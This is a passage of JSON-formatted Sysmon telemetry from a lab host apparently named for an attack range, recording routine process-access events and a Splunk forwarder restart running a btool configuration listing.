11:52:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2979,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:24.086\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:24.086","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2980,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:24.086\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:24.086","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2981,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:24.086\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:24.086","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2982,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:24.086\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:24.086","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2983,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:24.086\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:24.086","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2984,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:24.086\r\nSourceProcessGUID: {90617006-3FE5-5F2D-0000-00105DC70200}\r\nSourceProcessId: 3756\r\nSourceThreadId: 3776\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-4078-5F2D-0000-00107EF80400}\r\nTargetProcessId: 4884\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:24.086","SourceProcessGUID":"{90617006-3FE5-5F2D-0000-00105DC70200}","SourceProcessId":"3756","SourceThreadId":"3776","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-4078-5F2D-0000-00107EF80400}","TargetProcessId":"4884","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2985,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:24.352\r\nSourceProcessGUID: {90617006-4078-5F2D-0000-00107EF80400}\r\nSourceProcessId: 4884\r\nSourceThreadId: 4828\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-0010FE150200}\r\nTargetProcessId: 2820\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nGrantedAccess: 0x101400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+116e675|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+116e1a6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+f344c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+f2a91|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+19fdb50|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:24.352","SourceProcessGUID":"{90617006-4078-5F2D-0000-00107EF80400}","SourceProcessId":"4884","SourceThreadId":"4828","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-0010FE150200}","TargetProcessId":"2820","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","GrantedAccess":"0x101400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+116e675|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+116e1a6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+f344c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+f2a91|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+19fdb50|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":2986,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:24.385\r\nProcessGuid: {90617006-4078-5F2D-0000-00104AFB0400}\r\nProcessId: 4808\r\nImage: C:\\Windows\\System32\\cmd.exe\r\nFileVersion: 10.0.14393.0 (rs1_release.160715-1616)\r\nDescription: Windows Command Processor\r\nProduct: Microsoft® Windows® Operating System\r\nCompany: Microsoft Corporation\r\nOriginalFileName: Cmd.Exe\r\nCommandLine: C:\\Windows\\system32\\cmd.exe /c btool server list general --no-log\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A\r\nParentProcessGuid: {90617006-4078-5F2D-0000-0010C2F50400}\r\nParentProcessId: 4644\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\Splunk.EXE\" restart --waitonpid=2820","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:52:24.385","ProcessGuid":"{90617006-4078-5F2D-0000-00104AFB0400}","Image":"C:\\Windows\\System32\\cmd.exe","FileVersion":"10.0.14393.0 (rs1_release.160715-1616)","Description":"Windows Command Processor","Product":"Microsoft® Windows® Operating System","Company":"Microsoft Corporation","OriginalFileName":"Cmd.Exe","CommandLine":"C:\\Windows\\system32\\cmd.exe /c btool server list general --no-log","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A","ParentProcessGuid":"{90617006-4078-5F2D-0000-0010C2F50400}","ParentProcessId":"4644","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\Splunk.EXE\" restart --waitonpid=2820","EventReceivedTime":"2020-08-07 11:52:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2987,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:24.383\r\nSourceProcessGUID: {90617006-4078-5F2D-0000-0010C2F50400}\r\nSourceProcessId: 4644\r\nSourceThreadId: 4636\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\Splunk.EXE\r\nTargetProcessGUID: {90617006-4078-5F2D-0000-00104AFB0400}\r\nTargetProcessId: 4808\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\System32\\ucrtbase.dll+9ea4a|C:\\Windows\\System32\\ucrtbase.dll+9e42e|C:\\Program Files\\SplunkUniversalForwarder\\bin\\Splunk.EXE+43bc6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\Splunk.EXE+6665|C:\\Program Files\\SplunkUniversalForwarder\\bin\\Splunk.EXE+14738|C:\\Program Files\\SplunkUniversalForwarder\\bin\\Splunk.EXE+d8a0|C:\\Program Files\\SplunkUniversalForwarder\\bin\\Splunk.EXE+1adfc|C:\\Program Files\\SplunkUniversalForwarder\\bin\\Splunk.EXE+4cf68|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:24.383","SourceProcessGUID":"{90617006-4078-5F2D-0000-0010C2F50400}","SourceProcessId":"4644","SourceThreadId":"4636","SourceImage":"C:\\Program 